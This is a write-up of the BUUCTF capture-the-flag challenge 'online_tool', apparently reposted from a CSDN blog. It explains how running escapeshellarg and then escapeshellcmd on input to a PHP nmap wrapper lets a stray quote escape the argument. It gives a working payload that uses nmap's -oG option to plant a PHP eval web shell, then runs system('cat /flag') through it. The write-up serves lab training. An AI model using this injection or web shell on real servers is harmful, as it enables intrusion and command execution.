buuctf online_tool

online_tool

在这里插入图片描述

  • 进去后得到以上页面,其中设置X-Forwarded-For或者不设置不影响题目,它只是设置命名,$sandbox为目录名。
  • 代码实现的功能就是在线进行namp扫描,通过get一个host主域名进行扫描。
  • 对上面出现的nmap命令进行了解:

-T5 : 可以加快或者减慢扫描速度,有六个级别,级别越高速度越快,也越容易被WAF或者IDS发现。
-sT:使用TCP Syn扫描最常用的端口,会完整的执行完TCP的三次握手,隐蔽性不强。
-Pn:有时候防火墙会禁止ping请求.-PN命令告诉Nmap不用ping远程主机。
–host-timeout :限制每个 IP 地址的扫描时间(单位为秒)
-F:要求扫描时(包挺ping扫描)使用 小的IP包分段

  • 代码问题主要出在:
	$host = escapeshellarg($host);
    $host = escapeshellcmd($host);

PHP escapeshellarg()+escapeshellcmd() 之殇

  • 举例说明:
  1. 传入的参数是:172.17.0.2’ -v -d a=1
  2. 经过escapeshellarg处理后变成了’172.17.0.2’\’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成’172.17.0.2’\\’’ -v -d a=1\’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。
  4. 最后执行的命令是curl ‘172.17.0.2’\\’’ -v -d a=1\’,由于中间的\\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1’,即向172.17.0.2\发起请求,POST 数据为a=1’。

【注】:此漏洞为php版本小于 5.2.18的 RCE 漏洞。

  • 然后这样可以用单引号'逃脱它原本设置的单命令束缚。对于escapeshellcmd函数,会对host变量中的特殊字符进行转义(&#;`|*?~<>^()[]{}$, \x0A//和\xFF以及不配对的单/双引号转义,
    所以常用的&& ,&,|等基本的命令注入操作多失去作用。
  • 搜索发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
  • 构造一下payload:
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

在这里插入图片描述
得到文件目录,然后在生成文件中执行命令:

http://host/目录/hack.php?hack=system('cat /flag')

或者,连接蚁剑:
在这里插入图片描述
根目录发现flag
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43952190/article/details/105846175